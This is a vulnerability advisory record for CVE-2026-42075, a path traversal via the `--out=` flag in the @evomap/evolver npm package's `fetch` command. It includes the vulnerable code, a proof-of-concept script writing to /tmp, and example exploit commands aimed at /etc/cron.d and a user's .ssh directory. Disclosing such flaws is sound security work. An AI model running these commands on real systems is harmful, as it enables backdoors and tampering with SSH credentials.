{"id":"CVE-2026-42075","aliases":["GHSA-r466-rxw4-3j9j"],"url":"https://o3.security/vulnerability/CVE-2026-42075","summary":"Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write","details":"### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n  ? outFlag.slice('--out='.length)  // User-controlled path\n  : path.join('.', 'skills', safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n  const outDir = outFlag\n    ? outFlag.slice('--out='.length)  // No validation!\n    : path.join('.', 'skills', 'default');\n  \n  console.log('Target directory:', outDir);\n  console.log('Resolved path:', path.resolve(outDir));\n  \n  // In real code, this would write skill files\n  const targetFile = path.join(outDir, 'skill.js');\n  console.log('Would write to:', targetFile);\n  \n  return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log('=== Test 1: Normal path ===');\nvulnerableFetchSkill('--out=./my-skills/test');\n\nconsole.log('\\n=== Test 2: Path traversal ===');\nconst result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');\n\n// Actually demonstrate the vulnerability\nconsole.log('\\n=== Creating directory to prove traversal works ===');\ntry {\n  if (!fs.existsSync(result.outDir)) {\n    fs.mkdirSync(result.outDir, { recursive: true });\n  }\n  fs.writeFileSync(\n    path.join(result.outDir, 'poc.txt'),\n    'Path traversal successful!\\nThis file was written outside the intended directory.'\n  );\n  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));\n} catch (e) {\n  console.log('Error:', e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.","published":"2026-05-04T16:47:23.943Z","modified":"2026-08-12T03:51:47.531602687Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},"epss":{"score":0.00567,"percentile":0.44186,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@evomap/evolver","fixedVersion":"1.69.3"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/EvoMap/evolver/releases/tag/v1.69.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42075.json"},{"type":"ADVISORY","url":"https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42075"},{"type":"PACKAGE","url":"https://github.com/EvoMap/evolver"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.531602687Z"}}